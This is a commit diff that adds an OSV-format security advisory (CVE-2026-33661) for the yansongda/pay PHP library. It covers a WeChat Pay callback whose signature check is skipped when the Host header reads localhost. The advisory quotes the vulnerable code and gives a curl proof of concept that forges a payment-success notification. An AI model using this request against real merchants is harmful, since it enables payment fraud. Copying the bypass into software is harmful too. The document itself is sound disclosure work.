Skip to content

Commit 73b8dd4

Browse files
1 parent 7de0e33 commit 73b8dd4

1 file changed

Lines changed: 68 additions & 0 deletions

File tree

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-q938-ghwv-8gvc",
4+
"modified": "2026-03-25T19:30:09Z",
5+
"published": "2026-03-25T19:30:09Z",
6+
"aliases": [
7+
"CVE-2026-33661"
8+
],
9+
"summary": "WeChat Pay callback signature verification bypassed when Host header is localhost",
10+
"details": "## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n // BYPASS: Returns without any signature check if Host header is localhost\n if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n return; // No signature verified!\n }\n\n // ... openssl_verify() only reached when Host != localhost\n $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n $sign = $message->getHeaderLine('Wechatpay-Signature');\n $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n -H \"Host: localhost\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Wechatpay-Serial: any\" \\\n -H \"Wechatpay-Timestamp: 1234567890\" \\\n -H \"Wechatpay-Nonce: abc\" \\\n -H \"Wechatpay-Signature: AAAA\" \\\n -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "yansongda/pay"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.7.20"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.7.19"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/yansongda/pay"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/yansongda/pay/releases/tag/v3.7.20"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-290"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-25T19:30:09Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)